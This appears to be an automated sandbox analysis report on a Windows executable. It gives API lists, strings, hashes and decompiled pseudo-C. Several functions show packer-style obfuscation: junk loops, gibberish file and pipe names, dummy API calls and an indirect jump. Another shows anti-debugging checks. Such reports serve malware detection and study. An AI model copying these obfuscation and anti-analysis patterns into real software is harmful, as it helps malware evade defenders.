0x00424ca3
0x00424ca3
0x00424c2e
0x00424a91
0x004244c5
0x004244f6
0x00424503
0x0042450d
0x0042451a
0x0042450f
0x0042450f
0x00424512
0x00424512
0x0042452b
0x00424536
0x0042453c
0x00424543
0x0042454e
0x00424554
0x00424559
0x00424559
0x00424ca9
0x00424cb0
0x00424cc9
0x00424cd2
0x00424cda
0x00424cdb
0x00424cdc
0x00424cea

APIs

InterlockedIncrement.KERNEL32(0043EAD0), ref: 004244B7
__invoke_watson_if_error.LIBCMTD ref: 004244F6
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 00424503
OutputDebugStringW.KERNEL32(00405088), ref: 0042452B
OutputDebugStringW.KERNEL32(, Line ), ref: 00424536
OutputDebugStringW.KERNEL32(?), ref: 00424543
OutputDebugStringW.KERNEL32(00405074), ref: 0042454E
_wcscat_s.LIBCMTD ref: 00424704

Part of subcall function 00422C50: __invalid_parameter.LIBCMTD ref: 00422CC2

__invoke_watson_if_error.LIBCMTD ref: 0042470D

Part of subcall function 0041A6E0: __invoke_watson.LIBCMTD ref: 0041A701

_wcscat_s.LIBCMTD ref: 0042473C

Part of subcall function 00422C50: _memset.LIBCMT ref: 00422D2F
Part of subcall function 00422C50: __invalid_parameter.LIBCMTD ref: 00422D8B

__invoke_watson_if_error.LIBCMTD ref: 00424745
__snwprintf_s.LIBCMTD ref: 0042479E

Part of subcall function 00424CF0: __vsnwprintf_s_l.LIBCMTD ref: 00424D12

__invoke_watson_if_oneof.LIBCMTD ref: 004247D7
_wcscpy_s.LIBCMTD ref: 0042481C
__invoke_watson_if_error.LIBCMTD ref: 00424825
__invoke_watson_if_oneof.LIBCMTD ref: 004248AD
_wcscpy_s.LIBCMTD ref: 004248EB
__invoke_watson_if_error.LIBCMTD ref: 004248F4
__itow_s.LIBCMTD ref: 004244ED

Part of subcall function 0042B8D0: _xtow_s@20.LIBCMTD ref: 0042B8FB

__strftime_l.LIBCMTD ref: 004245A3
__invoke_watson_if_oneof.LIBCMTD ref: 004245DC
_wcscpy_s.LIBCMTD ref: 00424621
__invoke_watson_if_error.LIBCMTD ref: 0042462A
_wcscpy_s.LIBCMTD ref: 0042467D
__invoke_watson_if_error.LIBCMTD ref: 00424686
_wcscat_s.LIBCMTD ref: 004246B7
__invoke_watson_if_error.LIBCMTD ref: 004246C0

Strings

wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 00424884
Second Chance Assertion Failed: File , xrefs: 004244FE
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 004244D6, 00424C50
Assertion failed: , xrefs: 0042463E
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042469F
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 004248DA
_VCrtDbgReportW, xrefs: 004244D1, 004245C6, 00424606, 00424660, 0042469A, 004246E9, 00424721, 004247C1, 00424801, 0042487F, 004248D0, 00424B3D, 00424C4B
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042460B
_CrtDbgReport: String too long or IO Error, xrefs: 00424610, 0042480B
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 00424806
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 00424726
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 00424665
(*_errno()), xrefs: 004245CB, 004247C6
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 00424B42
<file unknown>, xrefs: 0042451A
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 004246EE
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 004244CC, 004245C1, 00424601, 0042465B, 00424695, 004246E4, 0042471C, 004247BC, 004247FC, 0042487A, 004248CB, 00424B38, 00424C46
, Line , xrefs: 00424531
Assertion failed!, xrefs: 0042464A
%s(%d) : %s, xrefs: 00424788
P, xrefs: 00424B87
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 004248D5

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 2252013794-3875623755
Opcode ID: 1a3fe09332de394e6124878731fd0ddf3cf7a7f829b503c6b7cd50a3bfce7864
Instruction ID: cd5d5aee346d239790e933289888e25300db90077ee59086acf509c133eb89a9
Opcode Fuzzy Hash: 1a3fe09332de394e6124878731fd0ddf3cf7a7f829b503c6b7cd50a3bfce7864
Instruction Fuzzy Hash: DE12A2B0E40224EBDB20DF54EC46FDA7374EB48704F54819AF609762C1D6BCAA94CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00433FF0, Relevance: 49.1, APIs: 13, Strings: 15, Instructions: 110
memorypipeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00433FF0() {
				long _v8;
				char _v1140;
				char _v1144;
				char _v2172;
				char _v3484;
				char _v4508;
				long _v4512;
				long _v4516;
				char _v5540;

				E00424EB0(0x32f0);
				_v8 = 0;
				while(_v8 < 0x332beaf6) {
					GetLastError();
					if( *0x4c8abc == 0x16) {
						__imp__GetCalendarInfoA(0, 0, 0,  &_v2172, 0,  &_v1144);
						GetPrivateProfileStringA("zuzahatavulagizadoditezalegulebahumuvuzalenule", "badodezufutixiyiyohiyo", "miyisigayodidi",  &_v1140, 0, "mawi");
					}
					GetLastError();
					if( *0x4c8abc == 0x9e) {
						CopyFileExA("monukiresaxisukacimahinijebakutoporayitipakobiseruze", "zacolowoyage", 0, 0, 0, 0);
						__imp__GetSystemWow64DirectoryA( &_v3484, 0);
						__imp__GetSystemWindowsDirectoryA( &_v4508, 0);
						__imp__GetCPInfoExW(0, 0, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				_t23 = E00433EF0(0x43ef50);
				_v4512 = 0;
				while(_v4512 < 0x3e79e) {
					if( *0x4c8abc == 0x10) {
						_t23 = CreateNamedPipeA("ripuhaxuyuwesupahisaxavasiigucamogupuramazum", 0, 0, 0, 0, 0, 0, 0);
					}
					if(_v4512 == 0x1e673) {
						E004339A0(_t23);
					}
					_t23 = _v4512 + 1;
					_v4512 = _v4512 + 1;
				}
				_v4516 = 0;
				while(_v4516 < 0xdd9a7) {
					if( *0x4c8abc == 0xc01) {
						GetProcessHeap();
						HeapValidate(0, 0, 0);
						GetPrivateProfileIntA("xicadisicarefonudfg", "wifdfgkewafupa", 0, "davibudazuhixucenesdfh");
						GetPrivateProfileStringA("jeyevapatocifajitiwa", "memuwinocigupajovezosegalugonitizokijozosesorisar", "logudoletujapoledegipuvifunewezavirubaju",  &_v5540, 0, "matoxajazini");
					}
					_v4516 = _v4516 + 1;
				}
				goto ( *0x4c50c8);
			}

0x00433ff8
0x00433ffd
0x0043400f
0x0043401c
0x00434029
0x00434041
0x00434064
0x00434064
0x0043406a
0x0043407a
0x0043408e
0x0043409d
0x004340ac
0x004340b8
0x004340b8
0x004340c5
0x0043400c
0x00000000
0x004340c7
0x00000000
0x004340c7
0x004340c5
0x004340d3
0x004340d8
0x004340f3
0x00434106
0x0043411b
0x0043411b
0x0043412b
0x0043412d
0x0043412d
0x004340ea
0x004340ed
0x004340ed
0x00434134
0x0043414f
0x00434165
0x00434167
0x00434173
0x0043418a
0x004341ad
0x004341ad
0x00434149
0x00434149
0x004341b5

APIs

GetLastError.KERNEL32 ref: 0043401C
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,?,00000000,?), ref: 00434041
GetPrivateProfileStringA.KERNEL32(zuzahatavulagizadoditezalegulebahumuvuzalenule,badodezufutixiyiyohiyo,miyisigayodidi,?,00000000,mawi), ref: 00434064
GetLastError.KERNEL32 ref: 0043406A
CopyFileExA.KERNEL32 ref: 0043408E
GetSystemWow64DirectoryA.KERNEL32(?,00000000), ref: 0043409D
GetSystemWindowsDirectoryA.KERNEL32(?,00000000), ref: 004340AC
GetCPInfoExW.KERNEL32(00000000,00000000,00000000), ref: 004340B8
CreateNamedPipeA.KERNEL32(ripuhaxuyuwesupahisaxavasiigucamogupuramazum,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0043411B
GetProcessHeap.KERNEL32 ref: 00434167
HeapValidate.KERNEL32(00000000,00000000,00000000), ref: 00434173
GetPrivateProfileIntA.KERNEL32 ref: 0043418A
GetPrivateProfileStringA.KERNEL32(jeyevapatocifajitiwa,memuwinocigupajovezosegalugonitizokijozosesorisar,logudoletujapoledegipuvifunewezavirubaju,?,00000000,matoxajazini), ref: 004341AD

Strings

zacolowoyage, xrefs: 00434084
badodezufutixiyiyohiyo, xrefs: 0043405A
wifdfgkewafupa, xrefs: 00434180
logudoletujapoledegipuvifunewezavirubaju, xrefs: 0043419E
jeyevapatocifajitiwa, xrefs: 004341A8
xicadisicarefonudfg, xrefs: 00434185
miyisigayodidi, xrefs: 00434055
matoxajazini, xrefs: 00434190
monukiresaxisukacimahinijebakutoporayitipakobiseruze, xrefs: 00434089
ripuhaxuyuwesupahisaxavasiigucamogupuramazum, xrefs: 00434116
memuwinocigupajovezosegalugonitizokijozosesorisar, xrefs: 004341A3
mawi, xrefs: 00434047
u7, xrefs: 004340BE
davibudazuhixucenesdfh, xrefs: 00434179
zuzahatavulagizadoditezalegulebahumuvuzalenule, xrefs: 0043405F

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$DirectoryErrorHeapInfoLastStringSystem$CalendarCopyCreateFileNamedPipeProcessValidateWindowsWow64
String ID: badodezufutixiyiyohiyo$davibudazuhixucenesdfh$jeyevapatocifajitiwa$logudoletujapoledegipuvifunewezavirubaju$matoxajazini$mawi$memuwinocigupajovezosegalugonitizokijozosesorisar$miyisigayodidi$monukiresaxisukacimahinijebakutoporayitipakobiseruze$ripuhaxuyuwesupahisaxavasiigucamogupuramazum$wifdfgkewafupa$xicadisicarefonudfg$zacolowoyage$zuzahatavulagizadoditezalegulebahumuvuzalenule$u7
API String ID: 3324426965-889213198
Opcode ID: 623317aae1051227d632881fd94e463caf06576acb25902d908913c10fd9e31b
Instruction ID: aca12d400b40d6ff992f0e783f5c8d0fd09209bdd0dafdd82bc379f49fe8eb83
Opcode Fuzzy Hash: 623317aae1051227d632881fd94e463caf06576acb25902d908913c10fd9e31b
Instruction Fuzzy Hash: AB412130A98314EBEB249B51DD0AFE97674BB58B09F60419AF305691D0C7F82AC0DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00433EF0, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00433EF0(intOrPtr _a4) {
				int _v8;
				struct _OSVERSIONINFOW _v284;
				struct _OSVERSIONINFOEXW _v568;
				char _v1592;
				short _v2616;
				int _t8;
				unsigned int _t18;
				void* _t22;
				unsigned int _t23;
				int _t25;

				_t8 =  *0x4c50c8;
				_t23 =  *0x4c8abc;
				_v8 = _t8;
				if(_t23 == 0x516) {
					_t8 = VerLanguageNameW(0,  &_v2616, 0);
				}
				_t18 = _t23 >> 3;
				_t22 = 0;
				if(_t18 != 0) {
					_t25 = _v8;
					L4:
					L4:
					if( *0x4c8abc == 0x29) {
						CopyFileExA("nexetikekopokotibagivonaxikunaje", "gipopixajocoripamemusup", 0, 0, 0, 0);
					}
					if( *0x4c8abc == 0x1c) {
						goto L9;
					}
					_t8 = E00433D90(_a4, _t25);
					_t22 = _t22 + 1;
					_t25 = _t25 + 8;
					if(_t22 < _t18) {
						goto L4;
					}
					goto L8;
					L9:
					SetConsoleMode(0, 0);
					TlsSetValue(0, 0);
					GetConsoleCP();
					GetPrivateProfileStringA("lekugejevolakopimiyijapivasifaropovoroladote", "kiboxuxopenunigipifovip", "rurugugelazikogoyubayenadoxicazayuzonalukimimiriveyavilororidedameyocedemigecojajarehiribake",  &_v1592, 0, "kevohivedizixeyohaliyikorodejosotuwapakahikumeburetuv");
					VerifyVersionInfoW( &_v568, 0, 0);
					GetVersionExW( &_v284);
					__imp__WTSGetActiveConsoleSessionId(0);
					ExitProcess(0);
				}
				L8:
				return _t8;
			}

0x00433ef9
0x00433f00
0x00433f07
0x00433f10
0x00433f1d
0x00433f1d
0x00433f26
0x00433f28
0x00433f2c
0x00433f2e
0x00000000
0x00433f31
0x00433f38
0x00433f4c
0x00433f4c
0x00433f59
0x00000000
0x00000000
0x00433f5f
0x00433f64
0x00433f65
0x00433f6a
0x00000000
0x00000000
0x00000000
0x00433f75
0x00433f79
0x00433f83
0x00433f89
0x00433fac
0x00433fbf
0x00433fcc
0x00433fd2
0x00433fda
0x00433fda
0x00433f72
0x00433f72

APIs

VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 00433F1D
CopyFileExA.KERNEL32 ref: 00433F4C
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00433F79
TlsSetValue.KERNEL32(00000000,00000000), ref: 00433F83
GetConsoleCP.KERNEL32 ref: 00433F89
GetPrivateProfileStringA.KERNEL32(lekugejevolakopimiyijapivasifaropovoroladote,kiboxuxopenunigipifovip,rurugugelazikogoyubayenadoxicazayuzonalukimimiriveyavilororidedameyocedemigecojajarehiribake,?,00000000,kevohivedizixeyohaliyikorodejosotuwapakahikumeburetuv), ref: 00433FAC
VerifyVersionInfoW.KERNEL32 ref: 00433FBF
GetVersionExW.KERNEL32(?), ref: 00433FCC
WTSGetActiveConsoleSessionId.KERNEL32 ref: 00433FD2
ExitProcess.KERNEL32 ref: 00433FDA

Strings

gipopixajocoripamemusup, xrefs: 00433F42
nexetikekopokotibagivonaxikunaje, xrefs: 00433F47
lekugejevolakopimiyijapivasifaropovoroladote, xrefs: 00433FA7
kevohivedizixeyohaliyikorodejosotuwapakahikumeburetuv, xrefs: 00433F8F
rurugugelazikogoyubayenadoxicazayuzonalukimimiriveyavilororidedameyocedemigecojajarehiribake, xrefs: 00433F9D
kiboxuxopenunigipifovip, xrefs: 00433FA2

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$Version$ActiveCopyExitFileInfoLanguageModeNamePrivateProcessProfileSessionStringValueVerify
String ID: gipopixajocoripamemusup$kevohivedizixeyohaliyikorodejosotuwapakahikumeburetuv$kiboxuxopenunigipifovip$lekugejevolakopimiyijapivasifaropovoroladote$nexetikekopokotibagivonaxikunaje$rurugugelazikogoyubayenadoxicazayuzonalukimimiriveyavilororidedameyocedemigecojajarehiribake
API String ID: 167763876-3233725720
Opcode ID: 4b6adce18f398495e99ef54c08da2aa17c1e437ed3177ea5fa66a96d3ecdb46c
Instruction ID: 78b7f74e166d508648d1981257aca4942e5f91fc8e032e9a71d72d51ab2d98cd
Opcode Fuzzy Hash: 4b6adce18f398495e99ef54c08da2aa17c1e437ed3177ea5fa66a96d3ecdb46c
Instruction Fuzzy Hash: 50215732B84314BBE710AF95ED4AF997774A74CB02F50407AF705BA1E0CAB52980CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00422570, Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004289BD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004289D4
UnhandledExceptionFilter.KERNEL32(00406264), ref: 004289DF
GetCurrentProcess.KERNEL32(C0000409), ref: 004289FD
TerminateProcess.KERNEL32(00000000), ref: 00428A04

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c671c934f0f6c98f69ac706390825abd1f8364f05a061b6827224899af27c99b
Instruction ID: 4a132e04b50ae8a342d65bb5c8709b0b8e8862ab495dbafa0238397027fb37a1
Opcode Fuzzy Hash: c671c934f0f6c98f69ac706390825abd1f8364f05a061b6827224899af27c99b
Instruction Fuzzy Hash: 8921FEB8942305DBD384DF69FED46543BA4FB0A714F58807AE808A3371E7B459818F4E

Uniqueness

Uniqueness Score: -1.00%

Function 004207D0, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00020760), ref: 004207DA

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5cd8fb0c542c3e242a3d013937d114fd0886c710f0f2c4280a25c19ae4ee13e3
Instruction ID: 8dcbdec89a4a89b6fa9456d8df2f64019b4dc66bb5fe4083948626313a4e114f
Opcode Fuzzy Hash: 5cd8fb0c542c3e242a3d013937d114fd0886c710f0f2c4280a25c19ae4ee13e3
Instruction Fuzzy Hash: F3B0123128424C27420023F27D0D9033ACCD5C47647910021F00D91411D861A4004499

Uniqueness

Uniqueness Score: -1.00%

Function 007E59D4, Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

fY~, xrefs: 007E59DA

Memory Dump Source

Source File: 00000000.00000002.684050031.00000000007E1000.00000040.00000001.sdmp, Offset: 007E1000, based on PE: false

Similarity

API ID:
String ID: fY~
API String ID: 0-1876939942
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 313674a8409794471687965f8fe4677636b21ee54878b11bfb61014efb600980
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 91117C72341504AFDB44DF5ADCC1FA677EAEB8C324B298165E904CB316E679EC02C760

Uniqueness

Uniqueness Score: -1.00%

Function 00423C7E, Relevance: 93.2, APIs: 33, Strings: 20, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00423C7E(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x43ead0) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L0041A7C0(_t210));
						 *(L0041A7C0( *(L0041A7C0(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E0042A5F0(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041AF60( *((intOrPtr*)(L0041A7C0(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12a, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L0041A7C0(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041A6E0(E00429B10(_t210, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041A6E0(E00429B10(_t263 - 0x4030, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x132, 0);
						_t265 = _t265 + 0x24;
					}
					E0041A6E0(E00429730(_t210, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x134, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x43ead4 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041A6E0(E00429730(_t234, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x139, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041A6E0(E00429730(_t263 - 0x4030, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13a, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041A6E0(E00429B10(_t263 - 0x4030, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x148, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L0041A7C0(_t210));
						 *(L0041A7C0(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E004268A0( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041AF60( *(L0041A7C0(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x141, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L0041A7C0(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041A6E0(E00429B10(_t233, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = L00429700(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041AF60( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14d, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041A6E0(E00423480(_t263 - 0x2020, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14f, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x4c8ae8 != 0 ||  *0x4c8ae4 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L00422470(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x4c8ae8;
						 *(_t263 - 0x5050) =  *0x4c8ae8;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E00424215();
							goto L44;
						}
						_t240 =  *0x4c8ae4;
						 *(_t263 - 0x504c) =  *0x4c8ae4;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x4c8ae0 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x4c8ae0( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x43ead4 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x43eae0 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E00420240(_t263 - 0x3028);
									_t271 = _t271 + 4;
